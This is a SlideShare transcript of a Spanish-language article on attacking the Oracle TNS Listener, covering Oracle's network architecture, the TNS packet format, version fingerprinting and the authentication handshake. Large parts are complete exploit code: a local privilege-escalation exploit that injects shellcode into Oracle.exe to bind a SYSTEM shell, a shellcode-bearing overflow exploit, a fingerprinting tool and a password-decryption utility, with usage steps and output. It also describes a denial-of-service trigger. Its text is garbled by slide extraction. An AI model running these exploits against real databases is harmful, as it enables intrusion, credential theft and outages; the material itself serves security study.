" M A N U E L G O N Z Á L E Z VA L I Ñ A S [ 0 X S T O R M ] "    A N ATO MÍ A D E U N      ATAQU E A TN S         L I S T...
2
ANATOM Í A DE U N ATAQU E A         TNS LISTENERDESDE EL DESCONOCIMI ENTO AL CONOCIMIENTO. INTRODUCCIÓN   SOBRE LA ARQUITE...
mapean todos los procesos en *.nix llamada Ssystem Global Area, comúnmente conocida comoSGA. La SGA está implementada como...
"x3BxF2x75xE5x5Ax5Ax42x0FxB7x4FxFEx03x04x8Bx89x44""x95x04x59x80xFAx02x7ExAEx80xFAx08x74x1Ex52x80xFA""x03x74x02xEBxA1x99x52...
if(argc != 3){     printf("nnt*** own10g ***nn");     printf("tC:>%s pid section_namenn",argv[0]);     printf("twhere pid ...
while(id< 0xFFFF){    hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id);    if(hThread)    {        res = ntq(hThread,0,buf...
}        }    }    hThread = NULL;    id ++;}return 0;}int WriteShellCode(char *section){    SIZE_T size = 0;    if(OpenTh...
if(size < 0x141)           return 0;           size = size - 0x140;           if(size < strlen(shellcode))               r...
{        MEMORY_BASIC_INFORMATION mbi;        SIZE_T size=0;        if(!p)        {             printf("Address not valid....
FILE SYSTEM    Aunque no lo parezca, debemos ver o repasar algunos conceptos que afectan al sistema deficheros para que la...
Entre OCI/OPI y la capa NET9 está la capa de presentación llamada TTC (Two-Task Common)la cual es responsable de la conver...
E L P R OTOC OL O T N S    APLICANDO REVERSING SOBRE EL TNS:    Para poder hace reversing sobre el protocolo TNS y entende...
BYTE 00 Packet TypeBYTE 00 FlagsWORD 00 00 Header Checksum    Volviendo a la perspectiva del ataque, los paquetes refused ...
0x0F Rollback    0x14 Cancel    0x2B Describe    0x30 Startup    0x31 Shutdown    0x3B Version    0x43 K2 Transactions    ...
0x11 indica funciones extendidas de TTI.    0x20 se usa cuando se hace una llamada a un procedimiento externo.    0x44 tam...
(DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.0.120))(ADDRESS=    (PROTOCOL=TCP)(HOST=192.168.0.120)(PORT=1521))...
A continuación se muestra el código de tnsver.c, el cual implementa un procesoautomatizado para realizar este proceso:#inc...
tnsheader.Type = TNS_CONNECT;tnsheader.Flags = 0;tnsheader.HeaderChecksum = 0;tnsconnect.Version = bswap_s(MAX_VER);tnscon...
res =GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);if(res == -1)return printf("Failed to connect.n");if(res > 0...
%d.%d.%d.%d.%dnn",h,l,ver[2],p,q);}elsereturn error();}elsereturn error();return 0;}int error(){return printf("There was a...
{addr = inet_addr(host);memcpy(&s_sa.sin_addr,&addr,4);}return 1;}int GetOracleVersion(unsigned char *pkt, unsigned int pk...
Host: PILUMHTTP/1.1 401 UnauthorizedMS-Author-Via: DAVDAV: 1,2,<http://www.oracle.com/xdb/webdav/props>Server: Oracle XML ...
TCP HeaderSource port: 1521Dest port: 3004Sequence: 1152664576ack: 2478634793Header length: 0x50Flags: 0x18 (ACK PSH)Windo...
Length and version: 0x45Type of service: 0x00Total length: 203Identifier: 14473Flags: 0x4000TTL: 128Protocol: 6 (TCP)Check...
01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT53 00 04 00 05 02 00 00...
El error o vulnerabilidad se produce cuando el sistema copia el nombre o service-name a la pila (la cual usa como buffer) ...
#include <netdb.h>int main(int argc, char *argv[]){     struct hostent *he;     struct sockaddr_in sa;     int sock;     u...
"x80x50x31xc9x5bx6ax3fx58xcdx80x41x6ax3fx58""xcdx80x41x6ax3fx58xcdx80x6ax0bx58x99x52x68""x6ex2fx73x68x68x2fx2fx62x69x54x5b...
// Resolve the target systemif(isalpha(argv[1][0])==0){       addr = inet_addr(argv[1]);       memcpy(&sa.sin_addr,&addr,4...
else{       close(sock);       return printf("Problem with recv()n");}// send user commandsnd = send(sock,user,strlen(user...
return printf("FTP response code was not 331.n");}}else{       close(sock);       return printf("Problem with recv()n");}/...
close(sock);       return printf("FTP response code was not 230. Login failed...n");       }}else{       close(sock);     ...
A TA C A N D O E L M E C A N I S M O D E AU T E N T I C A C I ÓN    Antes de conseguir acceso total a la base de datos, es...
Window Size: 17520Checksum: 0x4915Urgent Pointer: 0Raw Data01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 ,7f ff c6 0e ...
Type of service: 0x00   Total length: 104   Identifier: 32335   Flags: 0x4000   TTL: 128   Protocol: 6 (TCP)   Checksum: 0...
IP HeaderLength and version: 0x45Type of service: 0x00Total length: 236Identifier: 59545Flags: 0x4000TTL: 128Protocol: 6 (...
55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A   55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE   5...
Source port: 1521   Dest port: 2500   Sequence: 2568057659   ack: 668564153   Header length: 0x50   Flags: 0x18 (ACK PSH) ...
Total length: 839Identifier: 59546Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x8d28Source IP: 192.168.0.37Dest IP: 19...
....    El servidor desencripta el AUTH_PASSWORD con el número secreto medianteuna llamada a la función kzsrdep() . El ser...
C:>cl /TC opass.cC:>opass E:oracleora81BINoracommon8.dllEED9B65CCECDB2E9DF0536A94ADEE74636A2CB576171FEADSecret is CEAF9C22...
}    strncpy(dll_path,argv[1],256);    strncpy(hash,argv[2],36);    strncpy(sess,argv[3],36);    strncpy(pass,argv[4],256)...
return 0;    }int StringToHex(char *str,int cnv){    unsigned int len = 0, c=0,i=0;    unsigned char a=0,b=0;    unsigned ...
b = b - 0x37;    else if(a > 0x60 && a < 0x67)          b = b - 0x57;    else          return 0;    a = a << 4;    a = a +...
{        str[c]=tmp[c];        c = c ++;    }    return 1;}                         46
Upcoming SlideShare
Loading in...5
×

Anatomía de un ataque a tns listener

781

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
781
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
20
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Anatomía de un ataque a tns listener"

  1. 1. " M A N U E L G O N Z Á L E Z VA L I Ñ A S [ 0 X S T O R M ] " A N ATO MÍ A D E U N ATAQU E A TN S L I S TEN E RLA ARQUITECTURA DE N IVEL DE RED DE ORACLE Y SU IMPORTAN CIA EN LA SEGURIDAD. CAPÍTULO II
  2. 2. 2
  3. 3. ANATOM Í A DE U N ATAQU E A TNS LISTENERDESDE EL DESCONOCIMI ENTO AL CONOCIMIENTO. INTRODUCCIÓN SOBRE LA ARQUITECTUR A DE RED DE ORACLE, HOW TO DEL PROCESO DE AUTENTICACIÓN Y COM O BUSCAR Y EXPLOTAR VULNERABILIDADES. I N T ROD U C C I ÓN Cuando hablamos de “un sistema de base de datos Oracle”, ¿de que estamos hablandorealmente? Un sistema de base de datos se refiere no solo al propio gestor, como comúnmente sepiensa a la hora de realizar un proceso de hardening, sino a todo lo relacionado con sufuncionamiento, normalmente una base de datos proporciona servicio a través de una instancia,aunque en caso de un cluster puede haber más de una instancia corriendo sobre una misma basede datos, no obstante entenderemos (al menos desde el punto de vista del hardening y/o ethicalhacking) que el sistema de base de datos se compone de la propia arquitectura de red, el gestorpropiamente dicho, el sistema operativo sobre el que corre, así como cuestiones relativas aalmacenamiento o backups; en este artículo se tratará todo lo relativo a la arquitectura de red y elproceso de autenticación propio de Oracle. Cada base de datos se referencia mediante una instancia cuyo SID es el nombre de esainstancia, será la forma de referirnos a la instancia por tanto, mientras que si hablamos dehostname o host, nos estaremos refiriendo a la máquina sobre la que corre esa instancia. Desde elpunto de vista del software diferenciamos dos componentes principales, el TNS Listener y elRDBMS (Relational Database Management System). El TNS Listener es el concentrador de todaslas comunicaciones de Oracle, cuando una instancia de base de datos se inicia es registrada por elTNS Listener (TNSL en adelante), por lo que cuando un cliente intenta conectar a la base dedatos, es el TNSL quien acepta esa conexión y redirige a la base de datos. Cuando el RDBMSquiere lanzar un procedimiento externo, este se conecta al TNSL quien lanza la llamana extproc.Una excepción a lo anterior son los Jobs externos que son gestionados mediante el job scheduler,por lo que en este caso el RDBMS se conecta directamente al external job. P RO C E S O S Los procesos de Oracle dependen en su totalidad del sistema operativo sobre el que correOracle, ya sean sistemas Windows o plataformas *nix. Sabemos por tanto que una instancia debase de datos describe todos los procesos y estructuras de memoria que proveen acceso a dichabase de datos. Existen dos grandes bloques de procesos – background y shadow o server. Losprocesos shadow o server sirven peticiones de clientes, en otras palabras cuando un cliente seconecta mediante el TNSL y requiere acceso a los servicios de la base de datos, el TNSL está enmanos de un proceso server. Este proceso server recoge las queries SQL y ejecuta en el lado delservidor. Los procesos en background existen para soportar este funcionamiento. Existenmuchos procesos de background, cada uno con distintos roles, incluyendo escritores de base dedatos, escritores de logs, archivadores, monitorizadores de sistema, monitorizadores de procesosy muchos otros. En plataformas *nix cada uno de estos procesos de background corren en procesosseparados, es decir, son procesos del sistema operativo distintos. En sistemas Windows todoscorren en un mismo proceso llamado Oracle.exe. Existe un área de memoria especial donde se 3
  4. 4. mapean todos los procesos en *.nix llamada Ssystem Global Area, comúnmente conocida comoSGA. La SGA está implementada como un fichero de mapeo de memoria y contiene toda lainformación referente a la instancia de una base de datos. Igualmente existe otra área de memoriaconocida como shared pool, la cual contiene las estructuras compartidas por todos los usuarios,como definiciones de tablas, etc. Un punto interesante de los procesos en Oracle sobre sistemasWindows es que estos procesos pueden ser abiertos por cualquier grupo, lo cual es una clarabrecha de seguridad, para verlo, considere el siguiente proceso y código: 1) Consiga el ID de Oracle.exe - ej. 1892 2) Consiga el SID - ej. ORCL 3) Ejecute dos shells – Shell A y B 4) En la Shell A ejecute C:>sqlplus /nolog SQL*Plus: Release 10.1.0.2.0 Copyright (c) 1982, 2010, Oracle. All rights reserved. SQL> connect scott/password_no_valida 5) En la Shell B ejecute C:>own10g 1892 *oraspawn_buffer_orcl* 6) En la Shell A intente reautenticar via sqlplus 7) En la Shell B ejecute C:>telnet 127.0.0.1 6666 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985–2001 Microsoft Corp. C:WINDOWSsystem32>c:whoami c:whoami NT AUTHORITYSYSTEMEl código del exploit utilizado es ampliamente conocido: #include <stdio.h> #include <windows.h> #include <winbase.h> HANDLE hSection=NULL; unsigned char *p = NULL; int OpenTheSection(unsigned char *section, DWORD perm); SIZE_T GetSizeOfSection(); int MapTheSection(unsigned int rw); unsigned char shellcode[]= "x83xECx24x55x8BxECxEBx03x58xEBx05xE8xF8xFFxFFxFF" "x83xC0x7Ex83xC0x7Bx50x99x64x8Bx42x30x8Bx40x0Cx8B" "x70x1CxADx8Bx48x08x51x52x8Bx7DxFCx8Bx3Cx57x57x8B" "x41x3Cx8Bx7Cx01x78x03xF9x8Bx5Fx1Cx8Bx77x20x8Bx7F" "x24x03xF1x03xD9x03xF9xADx91x33xF6x33xD2x8Ax14x08" "x41xC1xCEx0Dx03xF2x84xD2x75xF3x83xC7x02x5Ax52x66" 4
  5. 5. "x3BxF2x75xE5x5Ax5Ax42x0FxB7x4FxFEx03x04x8Bx89x44""x95x04x59x80xFAx02x7ExAEx80xFAx08x74x1Ex52x80xFA""x03x74x02xEBxA1x99x52x68x33x32x20x20x68x77x73x32""x5Fx54xFFxD0x83xC4x0Cx5Ax91xEBx8Bx99xB6x02x2BxE2""x54x83xC2x02x52xFFxD0x50x50x50x6Ax06x6Ax01x6Ax02""xFFx55x14x8Dx65xD4x50x99x52x52x52xBAx02xFFx1Ax0A""xFExC6x52x54x5Fx6Ax10x57x50xFFx55x18x6Ax01xFFx75""xD0xFFx55x1Cx50x50xFFx75xD0xFFx55x20x99x52x68x63""x6Dx64x20x54x5Fx50x50x50x52x52xB6x01x52x6Ax0Ax99""x59x52xE2xFDx6Ax44x54x5Ex42x54x56x51x51x51x52x51""x51x57x51xFFx55x0CxFFx55x08x16x9Fx9FxB5x72x60xA8""x6Fx80x3Bx75x49x32x4CxE7xDF";int WriteShellCode(char *section);int main(int argc, char *argv[]){HANDLE hThread = NULL;DWORD id = 0;HMODULE k=NULL;FARPROC mOpenThread = 0;FARPROC ntq = 0;FARPROC nts = 0;unsigned char buff[1024]="";unsigned int len = 0;unsigned int res = 0;unsigned int pid = 0;unsigned char *p = 0;unsigned int tid = 0;CONTEXT ctx;unsigned char *ptr=NULL; 5
  6. 6. if(argc != 3){ printf("nnt*** own10g ***nn"); printf("tC:>%s pid section_namenn",argv[0]); printf("twhere pid is the process ID of Oraclen"); printf("tand section_name is *oraspawn_buffer_SID*n"); printf("tSID is the database SID - e.g. orclnn"); printf("tSee notes in source code for full detailsnn"); printf("tDavid Litchfieldnt(davidl@ngssoftware.com)");return 0;}if(WriteShellCode(argv[2])==0) return printf("Failed to write to section %sn",argv[2]); k = LoadLibrary("kernel32.dll");if(!k) return printf("Failed to load kernel32.dll"); mOpenThread = GetProcAddress(k," OpenThread");if(!mOpenThread) return printf("Failed to get address of OpenThread!"); k = LoadLibrary("ntdll.dll");if(!k) return printf("Failed to load ntdll.dll"); ntq = GetProcAddress(k," NtQueryInformationThread");if(!ntq) return printf("Failed"); nts = GetProcAddress(k," NtSetInformationThread");if(!nts) return printf("Failed"); tid = atoi(argv[1]); 6
  7. 7. while(id< 0xFFFF){ hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id); if(hThread) { res = ntq(hThread,0,buff,0x1C,&len); if(res !=0xC0000003) { p = &buff[9]; pid = (int) *p; pid = pid << 8; p--; pid = pid + (int) *p; if(pid == tid) { printf("%dn",id); ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; if(GetThreadContext(hThread,&ctx)==0) return printf("Failed to get context"); ptr = (unsigned char *)&ctx; ptr = ptr + 184; // This exploit assumes the base address of the // section is at 0x044D0000. If it is not at this // address on your system - change it. memmove(ptr,"x40x01x4Dx04",4); if(SetThreadContext(hThread,&ctx)==0) return printf("%dn",GetLastError()); 7
  8. 8. } } } hThread = NULL; id ++;}return 0;}int WriteShellCode(char *section){ SIZE_T size = 0; if(OpenTheSection(section,FILE_MAP_WRITE)==0) { printf("OpenTheSection: Section %stError:%dn",section,GetLastError()); return 0; } if(MapTheSection(FILE_MAP_WRITE)==0) { printf("MapTheSection: Section %stError:%dn",section,GetLastError()); return 0; } size = GetSizeOfSection(); if(size == 0) { printf("GetSizeOfSection: Section %stError:%dn",section,GetLastError()); return 0; } printf("Size of section %dn",size); 8
  9. 9. if(size < 0x141) return 0; size = size - 0x140; if(size < strlen(shellcode)) return 0; p = p + 0x140; memmove(p,shellcode,strlen(shellcode)); return 1;}int OpenTheSection(unsigned char *section, DWORD perm){ SIZE_T size=0; hSection = OpenFileMapping(perm, FALSE, section); if(!hSection) return 0; else return 1;}int MapTheSection(unsigned int rw){ p = (char *)MapViewOfFile(hSection, rw, 0, 0, 0); if(!p) return 0; return 1;}SIZE_T GetSizeOfSection() 9
  10. 10. { MEMORY_BASIC_INFORMATION mbi; SIZE_T size=0; if(!p) { printf("Address not valid.n"); return 0; } ZeroMemory(&mbi,sizeof(mbi)); size = VirtualQuery(p,&mbi,sizeof(mbi)); if(size !=28) return 0; size = mbi.RegionSize; printf("Size: %dn",size); return size;} Entonces, ¿que pasó aquí? Cuando un usuario local intenta conectar con Oracle (bajoWindows), lo hace a través de pipes. Se crean cuatro hilos en el proceso servidor que comunica elcliente con el servidor. Esos cuatro hilos tienen implementado un ACL discreto, llamado DACLpara que únicamente los usuarios con permisos puede abrir el/los hilos, en el paso 4 del procesoanterior, mediante el intento de autenticación creamos hilos similares en el proceso server, acontinuación en el paso 5 lanzamos el exploit , el cual abre una sección de memoria en el procesoserver y escribe nuestra shellcode, esta sección tiene una dirección 0x044D0000 (puede variar).Debido a que el DACL permite escribir en esta sección a cualquiera, podemos hacerlo. Elnombre usado *oraspawn_buffer_orcl*, hace referencia al orcl que es el SID obtenido el el paso2. Un apunte importante es que si escribimos nuestra shellcode específica para 0x044D0140,tendremos que prevenir que la shellcode se salte en el segundo intento de autenticación, lo mejores escribir la sección para el contexto de ejecución, en otras palabras debemos setear el EIP alpunto inicial de la shellcode. En el paso 6 se duerme el hilo previamente abierto y se lanza lashellcode y mediante esta conseguirmos hacer telnet al puerto 6666 para comprobar querealmente tenemos privilegios de system. 10
  11. 11. FILE SYSTEM Aunque no lo parezca, debemos ver o repasar algunos conceptos que afectan al sistema deficheros para que la información aquí detallada sea coherente y concisa (se necesita tener clarosestos conceptos para entender y poder hacer un bypassing de las acls de oracle). El directorio base donde se instala Oracle está referenciado mediante la variable de entorno$ORACLE_HOME, los ejecutables principales de Oracle están localizados en$ORACLE_HOME/bin/oracle en sistemas *nix y %ORACLE_HOMEbinoracle.exe ensistemas Windows. Los datos son almacenados en estructuras lógicas llamadas tablespaces yfísicamente en datafiles, que comúnmente tienen la extensión .dbf. Normalmente los datafiles seencuentran en el directorio $ORACLE_HOME/oradata/SID. Estos datafiles tienen unaestructura simple binaria. La cabecera del fichero cambia según versión, para una 10g el formatosería el siguiente: el segundo byte indica el tipo de fichero – 0xA2 indica un datafile normal, 0xC2es un control file y 0x22 es un fichero de redo log. El DWORD (4 bytes) desde 0x14 a 0x17indica el tamaño de cada bloque de datos en el fichero y el DWORD desde 0x128 a 0x1B indicael número de data blocks en el fichero. Los bytes 0x1C a 0x1F son la “magic key” siempreseteada a 0x7D7C7B7A. La cabecera del fichero es del mismo tamaño que los otros bloques,indicado en 0x14 a 0x17, entonces el primer data block se encuentra en 0x00002000. Cada data block contiene el número de bloques en bytes (black_base+4), la versión delservidor se encuentra desde [block_base+0x18 a block_base+0x1B]. El primer data block esespecial, porque contiene información sobre el servidor. Por ejemplo, el SID de la base de datosse puede encontrar en block_base+0x20, el tablespace name se puede encontrar enblock_base+0x52, etc. Los otros dos tipos de ficheros mencionados anteriormente –control files y redo logs. Loscontrol files contienen información crítica sobre la estructura física del servidor de base de datos.Los redo logs guardan pistas o trazas de cambios en los data files y actúan como bridge entre elservidor y los datafiles. Por ejemplo si un usuario cambia su password mediante alter user nameindentified by password, en versiones antiguas de Oracle (9i) se guardaba la contraseña en textoplano! El fichero de configuración inicial de la base de datos, init<SID>.ora o spfile<SID>.ora, sepuede localizar en $ORACLE_HOME/dbs en plataformas *nix. N E T WO R K Oracle puede ser configurado para que escuche sockets TCP, con o sin SSL, IPC, SPX yPIPES. En Oracle sobre plataformas Windows, los pipes son accesible en los puertos 139 y 445TCP, lo que significa que cuando el TNS Listener no está configurado con sockets TCP, esaccesible a través de la red vía pipes. Cuando se habilita el listen de sockets TCP, se usan lospuertos 1521 o 1525, aunque depende de los productos instalados y la configuración específica,obviamente pueden ser descubiertos mediante un escaneo con nmap. La arquitectura de red de Oracle, consta de varios componentes, por lo que podemos haceruna comparación con el modelo OSI (figura 2-1). Esta arquitectura habilita a los clientes Oracle yservidores de aplicación para comunicarse de forma transparente sobre protocolos TCP/IP. Elprotocolo de sesión hace de interface entre las aplicaciones (OCI o Oracle Call Inteface en elcliente, OPI o Oracle Program Interface en el servidor) y la capa de red conocida como Net9. 11
  12. 12. Entre OCI/OPI y la capa NET9 está la capa de presentación llamada TTC (Two-Task Common)la cual es responsable de la conversión de datos y estructuras entre el cliente y el servidor. La capaNet9 tiene tres componentes fundamentales, de los cuales únicamente nos concierne en estedocumento el TNS cuya tarea principal es seleccionar el protocolo de adaptación de Oracle yhacer el wrapping de la comunicación en uno de los protocolos soportados. Figura 2-1 12
  13. 13. E L P R OTOC OL O T N S APLICANDO REVERSING SOBRE EL TNS: Para poder hace reversing sobre el protocolo TNS y entender este protocolo a bajo nivel, esnecesario considerar todo lo que aquí se expone. TNS HEADER: Cada paquete TNS tiene una cabecera de 8 bytes. La primera palabra (2 bytes) es usada paraindicar la longitud del paquete incluida esta cabecera. La siguiente palabra el el checksum delpaquete, por defecto 0x0000 (es decir, no implementado). El siguiente byte indica el tipo depaquete, los tipos mas usuales son los siguientes: TIPO 1: CONNECT PACKET TIPO 2: ACCEPT PACKET TIPO 3: ACK PACKET TIPO 4: REFUSE PACKET TIPO 5: REDIRECT PACKET TIPO 6: DATA PACKET TIPO 7: NULL PACKET TIPO 9: ABORT PACKET TIPO 11:RESEND PACKET TIPO 12: MARKER PACKET TIPO 13: ATTENTION PACKET TIPO 14: CONTROL PACKET Cuando nos conectamos a Oracle, a nivel de TNS el cliente envía al servidor un Connectpacket (tipo 1), indicando el nombre de servicio al que quiere acceder. A continuación puedensuceder dos cosas, por un lado, el Listener envía un paquete de aceptación (tipo 2) o hace unaredirección a otro puerto (tipo 5). Ocurriendo esto, el cliente intenta autenticar. Este proceso secubre en el capítulo de AUTENTICACIÓN. Por tanto una vez el cliente envía el paquete deconexión, puede ser redirigido para solicitar el servicio. Todos los paquetes de autenticación sonde tipo 6. Si el Listener no conoce el servicio que el cliente está solicitando, enviará un paquete de tipo4 o Refuse packet. Podremos ver paquetes tipo 12 o Marker packet, por ejemplo, si el servidorquiere parar la comunicación con el cliente enviará paquetes 0x0C. Continuando con la definición de la cabecera TNS, el siguiente byte es un conjunto de flags.Generalmente no se usan, aunque el cliente 10g establece el valor 0x04. Los dos bytes finalesforman un Word para el checksum de la cabecera, por defecto no se usan.WORD 00 00 Packet SizeWORD 00 00 Packet Checksum 13
  14. 14. BYTE 00 Packet TypeBYTE 00 FlagsWORD 00 00 Header Checksum Volviendo a la perspectiva del ataque, los paquetes refused (tipo 4), indican algún tipo deerror, por ejemplo, logon denegado o “invalid username/password” –ORA-01017. En estoserrores, el byte 54 indica el problema. 3 significa invalid password, 2 indica usuariodesconocido…como puede verse, es posible hacer un leak de información únicamente usandorefused packets.DENTRO DEL PAQUETE: Realizando una captura, la mayoría de paquetes que se ven son Data Packets (tipo 6). En losData Packets, después de la cabecera están los Data Flags. Si el paquete es de desconexión, esteWord contendrá el valor 0x0040 –Generalmente será 0x0000. NOTA: Existe un bug en todas las versiones de Oracle, cuando el servidor procesa un Data Packet(tipo 6) cuando el segundo bit del Data Flag está seteado pero el primero (más significativo) no estáseteado (ej. 2,6,10,14, etc). Cuando el servidor recibe un paquete con estas características entra en unbucle infinito donde se consume toda la CPU disponible y a no ser que el sistema operativo recupere elcontrol el servidor se verá afectado por un DOS, obviamente sea cual sea el resultado, esto se traduce enun impacto negativo. El siguiente byte después del Data Flags (byte 11) determina que hay en el Data Packet, acontinuación se puede ver el tipo de contenido: 0x01 indica negociación de protocolo. Aquí el cliente envía al servidor los protocolosaceptados -6, 5, 4, 3, 2, 1 y 0. El servidor responde con la versión, por ejemplo 6 o 5, igualmenteenvía información extra como el charset usado la versión de string o los flags de servidor. 0x02 indica intercambio de representación de tipos de datos 0x03 indica la llamada a TTI (Two-Task Interface). Las funciones pueden ser: 0x02 Open 0x03 Query 0x04 Execute 0x05 Fetch 0x08 Close 0x09 Disconnect/logoff 0x0C AutoCommit ON 0x0D AutoCommit OFF 0x0E Commit 14
  15. 15. 0x0F Rollback 0x14 Cancel 0x2B Describe 0x30 Startup 0x31 Shutdown 0x3B Version 0x43 K2 Transactions 0x47 Query 0x4A OSQL7 0x5C OKOD 0x5E Query 0x60 LOB Operations 0x62 ODNY 0x67 Transaction - end 0x68 Transaction - begin 0x69 OCCA 0x6D Startup 0x51 Logon (presenta la password) 0x52 Logon (presenta el username) 0x73 Logon (presenta password - send AUTH_PASSWORD) 0x76 Logon (present username - request AUTH_SESSKEY) 0x77 Describe 0x7F OOTCM 0x8B OKPFC0x08 indica OK, enviado por el servidor en respuesta a cliente. 15
  16. 16. 0x11 indica funciones extendidas de TTI. 0x20 se usa cuando se hace una llamada a un procedimiento externo. 0x44 también se usa en el caso anterior. O B T E N I E N D O L A V E R S I Ó N D E OR A C L E En las últimas versiones, Oracle ha mejorado cuantitativamente la seguridad del Listener, porlo que vamos desde el listener de versiones 8i y 9i donde la seguridad del mismo eraprácticamente inexistente, pasando por la versión 10g que incluye numerosas mejoras y porúltimo las versiones 11g donde ya podemos hablar de seguridad, debido a los principios derediseño que se establecen en los factores clave, igualmente con el último security service packque Oracle publicó el 17 Enero de 2012, se subsanan vulnerabilidades “míticas” en el sistema deListener. Existen muchas forma de obtener la versión del Listener así como otro tipo de información“sensible” dependiendo de la versión de Oracle, igualmente es posible establecer ciertas medidasque aporten una seguridad extra, como pueden ser: implementar el TCP node valid checking oestablecer reglas de firewall que discriminen cierto tipo de tráfico. A continuación veremos algunos métodos para obtener la versión del Listener: La herramienta de control del Listener se llama “lsnrctl” y soporta tanto el comando versioncomo status, esta herramienta proporciona un leakage de información, como la versión, detallesdel sistema operativo en el que corre el listener, en versiones antiguas funcionaba al 100% por loque hacer un gathering de información interesante era trivial, en la versión 10g se inhabilita elcomando status (delegando mediante remotely) pero el comando version sigue funcionando, enversiones 11g se puede comprobar que esto ya está debidamente corregido. A continuación se muestra un ejemplo de information leakage obtenido en la fase deinformation gathering sobre una versión de Oracle en un entorno crítico. C:>lsnrctl LSNRCTL for 32-bit Windows: Version 8.1.7.4.0 - Production on 19-JUN-2006 17:54:42 (c) Copyright 1998 Oracle Corporation. All rights reserved. Welcome to LSNRCTL, type "help" for information. LSNRCTL> set current_listener 192.168.0.120 Current Listener is 192.168.0.120 LSNRCTL> version Connecting to 16
  17. 17. (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.0.120))(ADDRESS= (PROTOCOL=TCP)(HOST=192.168.0.120)(PORT=1521))) TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production TNS for 32-bit Windows: Version 10.2.0.1.0 - Production Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 10.2.0.1.0 - Production Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 10.2.0.1.0 - Production,, The command completed successfully LSNRCTL> Como se puede observar en la salida anterior, se trata de un Oracle 10g Release 2 corriendosobre un sistema Windows. U S A N D O L A V E R S I O N D E L P ROT OC OL O T N S En el paquete TNS de conexión, una palabra (2 bytes) especifica la versión del protocoloTNS, la siguiente palabra en los bytes 11 y 12 especifica con que versiones anteriores delprotocolo se puede entender, es decir, la compatibilidad hacia atrás, por ejemplo, si un cliente deOracle está usando una versión 8.1.7.4 del Listener, cuando el cliente envía 0x0136 como versióndel protocolo TNS, este puede usar 0x012C para compatibilizar. Esto permite que dos versionesdistintas de Oracle puedan comunicarse simplemente estableciendo compatibilidades sobre elprotocolo TNS. Es decir, podemos utilizar estas dos palabras para determinar la versión delservidor. Para ello debemos tener identificados los valores de las palabras con suscorrespondientes versiones y seguir un orden jerárquico. Comenzamos con el número de versiónmás alto y trabajaremos hacia abajo, por lo tanto enviamos 0x013C si el servidor no entiende estaversión (lo sabremos bien por el retorno de un error o por el tiempo de expiración), enviamos oreducimos el valor a 0x13B, luego 0x13A, 0x139 y así sucesivamente hasta 0x00CC. Tan prontocomo el servidor responda sabremos de que versión se trata.Oracle 11r1 supports 0x13AOracle 10r2 supports 0x139Oracle 9r2 supports 0x138Oracle 9i supports 0x137Oracle 8 supports 0x136 17
  18. 18. A continuación se muestra el código de tnsver.c, el cual implementa un procesoautomatizado para realizar este proceso:#include <stdio.h>#include <windows.h>#include <winsock.h>struct hostent *he;struct sockaddr_in s_sa;int ListenerPort=1521;char host[260]="";int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,unsignedchar *resp, unsigned int resp_len, int dr);int StartWinsock(void);int InitTNSPacket(unsigned char *data, unsigned short data_length);int bswap_s(unsigned int v);int bswap_i(unsigned int v);int error();int GetOracleVersionByError();int GetOracleVersionByProtocolVersion();int GetOracleVersionByVersionCommand();typedef struct TNSHeader {unsigned short Length;unsigned short PacketChecksum;unsigned char Type;unsigned char Flags;unsigned short HeaderChecksum;}TNSHeader;typedef struct TNSConnect {unsigned short Version;unsigned short MinVersion;unsigned short GlobalServiceOptions;unsigned short SessionDataUnit;unsigned short TransportDataUnit;unsigned short Characteristics;unsigned short MaxPacketsBeforeAck;unsigned short ByteOrder;unsigned short Length;unsigned short Offset;unsigned int MaxRecv;unsigned short AdditionalNetworkOptions;unsigned char buf[24];} TNSConnect;#define TNS_CONNECT 1#define MAX_VER 0x0139#define MIN_VER 0x012C#define SDU_MAX 0x0800#define TDU_MAX 0x7FFF#define DATA_LENGTH 12unsigned char TNSPacket[2000]="";int InitTNSPacket(unsigned char *data, unsigned short data_length){TNSConnect tnsconnect;TNSHeader tnsheader;memset(&tnsheader,0,sizeof(TNSHeader));memset(&tnsconnect,0,sizeof(TNSConnect));tnsheader.Length = bswap_s(data_length + 0x3A);tnsheader.PacketChecksum = 0; 18
